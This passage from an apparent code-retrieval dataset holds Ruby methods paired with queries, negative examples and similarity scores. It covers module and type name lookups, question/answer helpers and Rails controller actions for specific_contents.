"def find_by_name(name)\n types[name]\n end",
"def find_class_or_module name\n name = $' if name =~ /^::/\n @classes_hash[name] || @modules_hash[name]\n end",
"def find_class_or_module name\n @store.find_class_or_module name\n end",
"def get_module_name( class_name )\n\t\tif class_name =~ /\\w+#{self.plugin_type}/\n\t\t\tmod_name = class_name.sub( /(?:.*::)?(\\w+)(?:#{self.plugin_type})/, \"\\\\1\" )\n\t\telse\n\t\t\tmod_name = class_name\n\t\tend\n\n\t\treturn mod_name\n\tend",
"def compute_type(type_name)\n if type_name.match(/^::/)\n # If the type is prefixed with a scope operator then we assume that\n # the type_name is an absolute reference.\n ActiveSupport::Dependencies.constantize(type_name)\n else\n # Build a list of candidates to search for\n candidates = []\n name.scan(/::|$/) { candidates.unshift \"#{$`}::#{type_name}\" }\n candidates << type_name\n\n candidates.each do |candidate|\n begin\n constant = ActiveSupport::Dependencies.constantize(candidate)\n return constant if candidate == constant.to_s\n rescue NameError => e\n # We don't want to swallow NoMethodError < NameError errors\n raise e unless e.instance_of?(NameError)\n end\n end\n\n fail NameError, \"uninitialized constant #{candidates.first}\"\n end\n end",
"def compute_type(type_name)\n type_name_with_module(type_name).split(\"::\").inject(Object) do |final_type, part| \n final_type = final_type.const_get(part)\n end\n end",
"def get_NAME_OF_MODULE(doc)\n module_name = Array.new\n doc.find( \"#{NAME_OF_MODULE}\" ).each do |mod_name|\n module_name << mod_name.content.strip.split[0]\n end\n if module_name.size == 1\n return module_name[0]\n=begin\n module_name.each do |each|\n return each\n end\n=end\n else\n return module_name\n end\n end",
"def type\n m = name.match /.*\\.(.*)/\n m.nil? ? nil : m[1]\n end",
"def module_for_type(type)\n name = module_name_for_type(type)\n # TODO Shouldn't ClassLoader be module specific?\n name.nil? ? nil : ClassLoader.provide(name)\n end",
"def find(typed_name)\n # This loader is tailored to only find entries in the current runtime\n return nil unless typed_name.name_authority == Pcore::RUNTIME_NAME_AUTHORITY\n\n # Assume it is a global name, and that all parts of the name should be used when looking up\n name_parts = typed_name.name_parts\n\n # Certain types and names can be disqualified up front\n if name_parts.size > 1\n # The name is in a name space.\n\n # Then entity cannot possible be in this module unless the name starts with the module name.\n # Note:\n # * If \"module\" represents a \"global component\", the module_name is nil and cannot match which is\n # ok since such a \"module\" cannot have namespaced content).\n # * If this loader is allowed to have namespaced content, the module_name can be set to NAMESPACE_WILDCARD `*`\n #\n return nil unless name_parts[0] == module_name || module_name == NAMESPACE_WILDCARD\n else\n # The name is in the global name space.\n\n case typed_name.type\n when :function, :resource_type, :resource_type_pp\n # Can be defined in module using a global name. No action required\n\n when :plan\n if !global?\n # Global name must be the name of the module\n return nil unless name_parts[0] == module_name\n\n # Look for the special 'init' plan.\n origin, smart_path = find_existing_path(init_plan_name)\n return smart_path.nil? ? nil : instantiate(smart_path, typed_name, origin)\n end\n\n when :task\n if !global?\n # Global name must be the name of the module\n return nil unless name_parts[0] == module_name\n\n # Look for the special 'init' Task\n origin, smart_path = find_existing_path(init_task_name)\n return smart_path.nil? ? nil : instantiate(smart_path, typed_name, origin)\n end\n\n when :type\n if !global?\n # Global name must be the name of the module\n unless name_parts[0] == module_name || module_name == NAMESPACE_WILDCARD\n # Check for ruby defined data type in global namespace before giving up\n origin, smart_path = find_existing_path(typed_name)\n return smart_path.is_a?(LoaderPaths::DataTypePath) ? instantiate(smart_path, typed_name, origin) : nil\n end\n\n # Look for the special 'init_typeset' TypeSet\n origin, smart_path = find_existing_path(init_typeset_name)\n return nil if smart_path.nil?\n\n value = smart_path.instantiator.create(self, typed_name, origin, get_contents(origin))\n if value.is_a?(Types::PTypeSetType)\n # cache the entry and return it\n return set_entry(typed_name, value, origin)\n end\n\n # TRANSLATORS 'TypeSet' should not be translated\n raise ArgumentError, _(\"The code loaded from %{origin} does not define the TypeSet '%{module_name}'\") %\n { origin: origin, module_name: name_parts[0].capitalize }\n end\n else\n # anything else cannot possibly be in this module\n # TODO: should not be allowed anyway... may have to revisit this decision\n return nil\n end\n end\n\n # Get the paths that actually exist in this module (they are lazily processed once and cached).\n # The result is an array (that may be empty).\n # Find the file to instantiate, and instantiate the entity if file is found\n origin, smart_path = find_existing_path(typed_name)\n return instantiate(smart_path, typed_name, origin) unless smart_path.nil?\n\n return nil unless typed_name.type == :type && typed_name.qualified?\n\n # Search for TypeSet using parent name\n ts_name = typed_name.parent\n while ts_name\n # Do not traverse parents here. This search must be confined to this loader\n tse = get_entry(ts_name)\n tse = find(ts_name) if tse.nil? || tse.value.nil?\n if tse && (ts = tse.value).is_a?(Types::PTypeSetType)\n # The TypeSet might be unresolved at this point. If so, it must be resolved using\n # this loader. That in turn, adds all contained types to this loader.\n ts.resolve(self)\n te = get_entry(typed_name)\n return te unless te.nil?\n end\n ts_name = ts_name.parent\n end\n nil\n end",
"def name\n has_module?(klass) ? klass[(klass.index(\"::\")+2)..-1] : klass\n end",
"def type_name\n @type_name ||= self.name.demodulize.underscore\n end",
"def get_module_file_name(resource_type_name)\n \"#{get_ruby_specific_resource_type_name(resource_type_name).downcase}_profile_module.rb\"\n end",
"def her_containing_module\n return unless name =~ /::/\n name.split(\"::\")[0..-2].join(\"::\").constantize\n end",
"def type_name_for_module(impl_module)\n impl_module = impl_module.name if impl_module.is_a?(Module)\n name = @parent.type_name_for_module(impl_module) unless @parent.nil?\n name.nil? ? find_mapping(impl_module, @type_names_per_implementation, @impl_name_substitutions) : name\n end",
"def find_module_named(name)\n find_class_or_module_named(name) || find_enclosing_module_named(name)\n end",
"def type_name\n File.basename(@path, '.rb').to_sym\n end",
"def type_name\n self.class.name.split('::').last.upcase\n end",
"def type_name\n @type_name ||= name.underscore\n end",
"def get_type_name(type)\n type_name = TypeName.new get_class_name(type), get_class_module_path(type), get_class_file_name(type), get_class_file_path(type)\n type_name.parent = make_parents get_class_module_path(type)\n type_name\n end",
"def name\n @module.name\n end",
"def get_ruby_specific_resource_type_name(resource_type_name)\n resource_type_name.slice(resource_type_name.rindex('.') + 1, resource_type_name.length - 1)\n end",
"def module_name\n (i = name.index(\"::\")) ? name[0..i-1] : name\n end",
"def lookup(name, pack_type = {})\n find(full_pack_name(name, pack_type[:type]))\n end",
"def find_from_parts(modules)\n modules.find do |mod|\n next nil if mod.blank?\n ActiveSupport::Inflector.constantize(mod).constants.include?(\n name.to_s.classify.to_sym\n )\n end\n end"
] | [
"0.7971677",
"0.71911395",
"0.7186292",
"0.7067696",
"0.70116836",
"0.69855064",
"0.69663376",
"0.69314337",
"0.6841188",
"0.6830378",
"0.6829796",
"0.6760382",
"0.67347115",
"0.6685411",
"0.6678516",
"0.6671575",
"0.6668592",
"0.6666118",
"0.66261786",
"0.65867627",
"0.65712845",
"0.65439016",
"0.65240765",
"0.6482294",
"0.6460633",
"0.6441111",
"0.6418305",
"0.6416723",
"0.6408419",
"0.640838"
] | 0.7550945 | 1 |
check if input is an answer, if so, get the question associated with the answer, else return the question | def get_question(answer)
answer.is_a?(Answer) ? answer.question : answer
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_answer_to(question)\n puts question\n answer = gets.chomp\n return answer\nend",
"def get_answer(answer)\n # In case the Chair did not answer this question.\n return 'No response provided.' if answer.nil?\n\n case answer.answer_type\n when 'Multiple Choice' # If multiple choice, show selected answer.\n answer.multiple_choice\n when 'True/False' # If true false, show either true or false.\n answer.true_false ? 'True' : 'False'\n when 'Numeric' # If numeric, show selected number.\n answer.numeric\n else # If short answer, show response.\n answer.short_answer\n end\n end",
"def get_answer_to(question)\n puts question\n answer = gets.chomp\nend",
"def answer_for(options, q, default = nil)\n options[:answers][q] ? options[:answers][q] : default\n end",
"def questionAnswer(question)\n answer = questionAnswerRaw(question)\n \n answer = \"No Answer\" if answer == nil\n return answer\nend",
"def getYesOrNo ( question )\n response = getInput(\"#{question} (y/n)\")\n\n if response.downcase == \"y\"\n true\n elsif response.downcase == \"n\"\n false\n else\n puts \"Invalid response\\n\"\n getYesOrNo( question )\n end\nend",
"def get_question\n if self.key.to_s =~ /(an_)([0-9])/\n q_id = QUESTION_MAP[\"qs_#{$+}\".to_sym][:id]\n q = ProfileQuestion.find_by_profile_id_and_question_id(self.profile_id, q_id)\n q.answer\n else\n nil\n end\n end",
"def find_answer(options={})\n\toptions[:answer]\nend",
"def find_answer(*args)\n args.each do |arg|\n \targ.each_key { |key| if key === :answer then return arg[key] end }\n end\n return nil\n end",
"def find_answer(answer: nil, **opts)\n answer\n end",
"def get_correct_answer(question_prompt, answers)\n question_prompt = question_prompt.downcase\n answer = nil\n case question_prompt\n when /which number goes with your street on/\n answer = answers[answers.index('3612') || answers.index('5555') || answers.index('None of the above')]\n when /which street have you lived on/\n answer = answers[answers.index('BEACH') || answers.index('None of the above') || 0]\n when /in which city is/\n answer = answers[answers.index('ATLANTA') || answers.index('None of the above')]\n when /in which county was your/\n answer = answers[answers.index('FULTON') || answers.index('None of the above')]\n when /what year is your/\n answer = answers[answers.index('2005')]\n when /which of the following people do you know/\n answer = answers[answers.index('ANTHONY BROWN') || answers.index('None of the above')]\n when /in wich year were you born/\n answer = answers[answers.index('1975')]\n when /what type of residence is/\n answer = answers[answers.index('Single Family Residence')]\n when /in which month month were you born/\n answer = answers[answers.index('FEBRUARY')]\n when /in which county have you lived/\n answer = answers[answers.index('FULTON') || answers.index('None of the above')]\n when /what are the last two digits of your social security number/\n answer = answers[answers.index('33')]\n when /at which of the following addresses have you lived/\n answer = answers[answers.index('None of the above')]\n when /which person is not a relative or someone that you know/\n answer = answers.grep(/SMITH/).first\n when /with which name are you associated/\n answer = answers[answers.index('None of the above')]\n when /what are the first two digits of your social security number/\n answer = answers[answers.index('11') || answers.index('None of the above')]\n when /which of the following phone numbers is related to you/\n answer = answers[answers.index('None of the above')]\n when /from whom did you purchase the property at/\n answer = answers[answers.index('JOE ANDERSON') || answers.index('None of the above')]\n when /how long have you been associated with the property at/\n answer = answers[answers.index('Over 5 years')]\n when /what is the approximate square footage of the property at/\n answer = answers[answers.index('Over 2,500')]\n when /when did you purchase the property at/\n answer = answers[answers.index('August 1999') || answers.index('None of the above')]\n when /between/ && /in which state did you live/\n answer = answers[answers.index('NEW YORK')]\n when /when did you purchase or lease your/\n answer = answers[answers.index('December 2006')]\n when /with which name are you associated/\n answer = answers[answers.index('None of the above')]\n end\n answer\n end",
"def question\n answer.question\n end",
"def quiz(question, type: :bool)\n answer = shell.ask(\"#{question.strip}? \", :magenta)\n case type\n when :bool\n if answer =~ /y|ye|yes|yeah|ofc/i\n true\n elsif answer =~ /n|no|fuck|fuck\\s+you|fuck\\s+off/i\n false\n else\n tell(\"Answer misunderstood\", :yellow)\n quiz(question, type: type)\n end\n when :string\n if answer.empty?\n warning(\"Empty answer\", ask_continue: false)\n quiz(question, type: type)\n else\n answer\n end\n else error(\"Unhandled question type: `#{type}`.\")\n end\n end",
"def answer\n @question = params[:question]\n if @question == 'I am going to work' then @answer = 'Great!'\n elsif @question.include? '?'\n then @answer = 'Silly question, get dressed and go to work'\n else @answer = \"I don't care, get dressed and go to work!\"\n end\n end",
"def get_answer\n answer = gets.chomp.downcase.strip\n raise InvalidInputError, \"Please enter 'a' or 'b' to answer, or '-q' or '--quit' to exit\".red unless self.validate_answer(answer)\n answer\n end",
"def get_input(question)\n\t\tputs \"What's your #{question}?\"\n\t\tgets.chomp\nend",
"def questionCorrect (question)\n return nil unless question.correctAnswer\n\n return nil if question.input.is_a? org.concord.otrunk.ui.OTText\n\n if question.input.is_a? org.concord.otrunk.ui.OTChoice\n if question.input.currentChoice == nil\n return nil\n else\n\t return question.correctAnswer == question.input.currentChoice\n end\n end\nend",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
"def question_type\n prompts.first.andand.question_type\n end",
"def answer\n @question = params[:questions]\n # we need to get the value from params in order to store the question.\n if @question.eql? 'I am going to work'\n @answer = 'Great!'\n elsif @question.end_with?('?')\n @answer = 'Silly question, get dressed and go to work!'\n else\n @answer = \"I don't care, get dressed and go to work!\"\n # we create @ = instance variable in order to use outside of the method.\n end\n end",
"def quiz_answer(quiz)\n if quiz.answer_type == 'multi'\n show_multi_answer(quiz.answers.first.text, quiz.answer_input)\n elsif quiz.answer_type == 'check'\n show_check_answer(quiz.answers.first.text, quiz.answer_input)\n else\n quiz.answers.first.text\n end\n end",
"def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\n\t\tif (reply == 'yes' || reply || 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\treturn false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\n\tanswer #this is what is returned\nend",
"def find_answer(kwargs={})\n kwargs[:answer]\nend",
"def solution() \n case @answer.type\n when String\n solution= @answer.downcase \n default \n solution= @answer\n end\n solution\n end",
"def questionCorrect (question)\n return nil unless question.correctAnswer\n\n return nil if question.input.is_a? org.concord.otrunk.ui.OTText\n\n if question.input.is_a? org.concord.otrunk.ui.OTChoice\n choice = currentChoice(question.input)\n if choice == nil\n return nil\n else\n\t return question.correctAnswer == choice\n end\n end\nend",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end",
"def answer?\n return @answer\n end",
"def rules_knowledge_question(name)\n puts \"\\n\\n#{name} do you know the rules of rock, paper, scissors? \\n\\n\"\n answer = gets.chomp.downcase\n return answer\nend",
"def check_answer?(input)\n if @answer == input\n return true\n else\n return false\n end\n end"
] | [
"0.7270826",
"0.72285986",
"0.7184371",
"0.71339965",
"0.7111333",
"0.696897",
"0.6961246",
"0.6945703",
"0.6938034",
"0.6935098",
"0.69102496",
"0.68984836",
"0.6898478",
"0.68383825",
"0.6771324",
"0.6735656",
"0.6703936",
"0.6703318",
"0.6699673",
"0.66973484",
"0.6667297",
"0.66610384",
"0.6654734",
"0.66358864",
"0.6634235",
"0.6629815",
"0.6629815",
"0.6624337",
"0.66110045",
"0.6580536"
] | 0.781646 | 0 |
GET /specific_contents GET /specific_contents.json | def index
@specific_contents = SpecificContent.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @contents = Content.all\n render json: @contents\n end",
"def json_index_static_contents\n\n @static_contents = StaticContent.all\n respond_to do |format|\n\n format.json { render json: @static_contents }\n end\n end",
"def index\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n @contents = Content.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @contents }\n end\n end",
"def index\n @contents = Content.order('created_at DESC').paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n @contents = Content.accessible_by(current_ability).page params[:page]\n \n if params[:filter]\n @contents = @contents.where(\"description LIKE ?\", \"%#{params[:filter]}%\")\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def get_content(content_id, params = {})\n get_json(content_url(content_id, params))\n end",
"def show\n # TODO: this is a placeholder for logic using Sentence\n render :json => { :index => params[:id],\n :contents => \"SERVER: this would be the contents of page \" + params[:id]\n }\n end",
"def index\n @title = t 'view.contents.index_title'\n @searchable = true\n @contents = @contents.filtered_list(params[:q]).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contents }\n end\n end",
"def index\n @contents = Content.all\n\n respond_with @contents\n end",
"def content_index\n @magissue = Magissue.find(params[:id])\n # Initiate the array of contents' links\n a = []\n\n # Insert the link to the cover first\n a << {\"url\" => cover_magissue_url, \"title\" => \"Cover\", \"hidden\" => true}\n\n\n # Insert the link to the toc\n a << {\"url\" => toc_magissue_url, \"title\" => \"TOC\", \"hidden\" => true}\n\n # Insert the links to all the magissues's articles\n @magissue.articles.each do |article|\n entry = {\"url\" => read_article_url(article), \"title\" => article.headline, \"byline\" => article.author,\n \"thumb\" => (article.assets.exists? ? article.assets[0].dynamic_asset_url(\"40x40>\") : \"\")}\n a << entry\n end\n\n # Create the \"contents\" object and and associate the links array to it.\n b = {\"contents\" => a}\n\n # Render the response as JSON\n respond_to do |format|\n format.json { render :json => b }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_with @content\n\n # @contents = Content.all\n\n # respond_with @content\n end",
"def get_page_contents()\n JSON.parse( \n @client.api.get(\"#{@client.base_uri.path}/api.php?#{URI.encode_www_form({\n :action => 'query',\n :prop => 'info|revisions',\n :titles => BAN_PAGE,\n :rvprop => 'content',\n :intoken => 'edit',\n :indexpageids => 1,\n :format => 'json',\n :cb => rand(1000000)\n })}\", @headers).body,\n :symbolize_names => true\n )[:query]\n end",
"def json_show_static_content_by_name\n\n @static_content = StaticContent.find_by_name(params[:name])\n respond_to do |format|\n format.json { render json: @static_content }\n end\n end",
"def show\n @main_content = MainContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @main_content }\n end\n end",
"def get_content_items(params)\n query = query_string(params)\n get_json(\"#{endpoint}/v2/content#{query}\")\n end",
"def index\n @static_contents = StaticContent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @static_contents }\n end\n end",
"def get_contents(params)\n conference = params[:conference]\n if params[:name] == 'conference'\n conference[:date] + '±' + conference[:location] + '±' +\n conference[:conf_name] + '±' + conference[:content]\n else\n params[:static_page][:contents]\n end\n end",
"def get\n @contents\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def show\n @content = Content.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content }\n end\n end",
"def index\n # @contents = Content.all\n end",
"def index\n @contents = Content.all\n end",
"def index\n @contents = Content.all\n end"
] | [
"0.65488017",
"0.649212",
"0.64590776",
"0.6445844",
"0.6437369",
"0.6384205",
"0.63125163",
"0.6264671",
"0.626106",
"0.6259193",
"0.62191623",
"0.6206697",
"0.6143979",
"0.6128286",
"0.6038655",
"0.60298365",
"0.598193",
"0.59310025",
"0.59176683",
"0.58698034",
"0.58627903",
"0.58627903",
"0.58627903",
"0.58627903",
"0.58627903",
"0.58627903",
"0.58627903",
"0.5862778",
"0.5855425",
"0.5855425"
] | 0.675044 | 0 |
POST /specific_contents POST /specific_contents.json | def create
@specific_content = SpecificContent.new(specific_content_params)
respond_to do |format|
if @specific_content.save
format.html { redirect_to @specific_content, notice: 'Specific content was successfully created.' }
format.json { render :show, status: :created, location: @specific_content }
else
format.html { render :new }
format.json { render json: @specific_content.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def specific_content_params\n params.require(:specific_content).permit(:title, :subtitle, :content, :external_link)\n end",
"def index\n @specific_contents = SpecificContent.all\n end",
"def content_params\n params.require(:content).permit(:content_one)\n end",
"def create(contents, params = {:language => \"Plain Text\", :private => false})\n params = params.merge({:contents => contents}.merge(@base_params))\n self.class.post(\"/paste\", :body => params).parsed_response\n end",
"def create\n @o_single = Content.new(content_params)\n\n respond_to do |format|\n if @o_single.save\n format.html { redirect_to contents_url, notice: t(\"general.successfully_created\") }\n format.json { render action: 'show', status: :created, location: @o_single }\n else\n format.html { render action: 'new' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n render json: generate_content_item_data(\"fake_id\", params[:content_item_return_url], params[:content_item])\n end",
"def save\n return if @content.nil?\n put_rest \"extra/#{@name}\", @content, :content_type => \"application/octet-stream\"\n end",
"def document_params\n if params[:contents]\n params\n .permit(:title, :original_contents)\n .merge(contents: JSON.parse(params.try(:[], :contents) || {}))\n else\n params.permit(:title)\n end\n end",
"def create\n @content = Content.new(params[:content])\n file_size = params[:content][:content_file_file_size]\n\n respond_to do |format|\n if @content.save\n @content_saved = true\n \n @content.user = current_user\n current_user.contents << @content\n \n format.html { redirect_to @content}\n format.json { render json: @content, status: :created, location: @content }\n else\n @content_saved = false\n \n if file_size == nil\n @file_nil = true\n elsif file_size > 1000000\n @file_too_big = true \n end \n \n format.html { redirect_to root_path, notice: \"Content could not be saved - please pick a jpg or png file less than 1 MB\" }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_specific_content\n @specific_content = SpecificContent.find(params[:id])\n end",
"def page_content_params\n params.require(:page_content).permit(:contents).to_h\n end",
"def contents=(params)\n self.content_needs_saving = true\n contents.each do |content|\n update = params[content.association_name][content.id.to_s]\n content.attributes = update if update\n end\n end",
"def contents_params\n params.require(:content).permit(:title,:description,:attachment,:user_id,:tags)\n end",
"def create\n @entry = Entry.new({\n content: params[:entry][:content],\n journal_id: params[:entry][:journal_id]\n })\n\n respond_to do |format|\n if @entry.save\n format.html { redirect_to \"/entries/#{@entry.id}\" }\n format.json { render :show }\n else\n format.html { render :new }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_index_static_contents\n\n @static_contents = StaticContent.all\n respond_to do |format|\n\n format.json { render json: @static_contents }\n end\n end",
"def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end",
"def content_index\n @magissue = Magissue.find(params[:id])\n # Initiate the array of contents' links\n a = []\n\n # Insert the link to the cover first\n a << {\"url\" => cover_magissue_url, \"title\" => \"Cover\", \"hidden\" => true}\n\n\n # Insert the link to the toc\n a << {\"url\" => toc_magissue_url, \"title\" => \"TOC\", \"hidden\" => true}\n\n # Insert the links to all the magissues's articles\n @magissue.articles.each do |article|\n entry = {\"url\" => read_article_url(article), \"title\" => article.headline, \"byline\" => article.author,\n \"thumb\" => (article.assets.exists? ? article.assets[0].dynamic_asset_url(\"40x40>\") : \"\")}\n a << entry\n end\n\n # Create the \"contents\" object and and associate the links array to it.\n b = {\"contents\" => a}\n\n # Render the response as JSON\n respond_to do |format|\n format.json { render :json => b }\n end\n end",
"def content_entry_params\n params.require(:content_entry).permit(:title, :slug, :content)\n end",
"def entry_params\n params.require(:entry).permit(:content)\n end",
"def create_params\n params.require(:todo).permit(:contents)\n end",
"def create_content(params)\n post(CONTENT_PATH, params) if validate_params(params)\n end",
"def create\n @content = Content.new(permitted_params.content)\n\n @content.project = @project\n @content.content_type = @content_type\n\n respond_to do |format|\n if @content.save\n\n\n @content.ctbs.each do |ctb|\n if params[:link]\n ctb.link = (params[:link] == ctb.branch_id.to_s) ? true : false\n end\n\n if params[:caption]\n ctb.caption = (params[:caption][ctb.branch_id.to_s]) ? params[:caption][ctb.branch_id.to_s] : ''\n end\n\n ctb.save\n end\n\n\n if params[:content_elements][:add]\n params[:content_elements][:add].each do |content_element_type, value|\n begin\n @content.content_elements.build(:content_element_type_id => content_element_type, :language => @locale, :value => value).save\n rescue\n flash[:error] = t('fehler.ascii')\n @content.content_elements.build(:content_element_type_id => content_element_type, :language => @locale, :value => cleanup(value)).save\n end\n end\n end\n @content.proof_bracketcommands\n @content.setFileNames\n\n format.html { redirect_to edit_project_content_type_content_path(@project, @content_type, @content, :locale => @locale), notice: 'Content was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@project, @content_type, @content] }\n else\n format.html { render action: 'new' }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sub_content = SubContent.new(sub_content_params)\n\n respond_to do |format|\n if @sub_content.save\n format.html { redirect_to @sub_content, notice: 'Sub content was successfully created.' }\n format.json { render :show, status: :created, location: @sub_content }\n else\n format.html { render :new }\n format.json { render json: @sub_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n model = params[:model]\n #NOTE: Pay attention how the data is passed as a hash. This is how locomotive expects it. Not obvious.\n # req.set_form_data('content_entry[name]' => data['name'], 'content_entry[summary]' => data['summary'], 'model' => model)\n form_data = {}\n params[:content_entry].each do |key,val|\n form_data[\"content_entry[#{key}]\"] = val\n end\n #data = params[:content_entry]\n\n uri = URI(\"#{@cms_url}/locomotive/api/content_types/#{model}/entries.json?auth_token=#{APP_CONFIG['locomotive']['auth_token']}\")\n\n req = Net::HTTP::Post.new(uri)\n req.set_form_data(form_data)\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n render :json => res.body\n else\n # examine response code and generate appropriate error message\n render :json => res.value\n end\n\n end",
"def index\n @contents = Content.all\n render json: @contents\n end",
"def content_params\n params.permit(:title, :file, :tags)\n end",
"def static_content_params\n params.require(:static_content).permit(:name, :data_type, :content)\n end",
"def create\n @content = Content.new(contents_params)\n if @content.save\n redirect_to contents_path\n else\n render \"new\"\n end\n end",
"def duplicate_content_template(id)\n @client.raw('post', \"/content/templates/#{id}/duplicate/\")\n end",
"def post_params\n params.require(:content)\n params.permit(:content) #, :type, :souce_id)\n end"
] | [
"0.5870602",
"0.5670245",
"0.5644242",
"0.5636741",
"0.5628201",
"0.56152403",
"0.55818367",
"0.5501568",
"0.54728043",
"0.5469868",
"0.53832513",
"0.53687227",
"0.5263899",
"0.52289224",
"0.5228776",
"0.52049506",
"0.5202982",
"0.5200085",
"0.5189124",
"0.5178578",
"0.5149344",
"0.5141215",
"0.51314193",
"0.5119806",
"0.51181144",
"0.51117206",
"0.50947964",
"0.5089534",
"0.5086666",
"0.50636244"
] | 0.59360576 | 0 |
PATCH/PUT /specific_contents/1 PATCH/PUT /specific_contents/1.json | def update
respond_to do |format|
if @specific_content.update(specific_content_params)
format.html { redirect_to @specific_content, notice: 'Specific content was successfully updated.' }
format.json { render :show, status: :ok, location: @specific_content }
else
format.html { render :edit }
format.json { render json: @specific_content.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n respond_to do |format|\n if @o_single.update(content_params)\n format.html { redirect_to contents_url, notice: t(\"general.successfully_updated\") }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @contents = args[:contents] if args.key?(:contents)\n end",
"def update!(**args)\n @contents = args[:contents] if args.key?(:contents)\n end",
"def update_content(params)\n put(set_path(params[:id]), params) if validate_params(params)\n end",
"def update!(**args)\n @contents = args[:contents] if args.key?(:contents)\n @path = args[:path] if args.key?(:path)\n end",
"def update\n fn = params[:id].gsub('DOTDOT','.').gsub('SLASHSLASH','/')\n File.open(fn,'w+') { |f| \n f.puts params[:content]\n }\n respond_to do |format|\n format.json { render json: { success: true} }\n end\n end",
"def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to contents_path, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @content.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @content.update(contents_params)\n format.html { redirect_to @content, notice: 'Content was successfully updated.' }\n format.json { render :show, status: :ok, location: @content }\n else\n format.html { render :edit }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end",
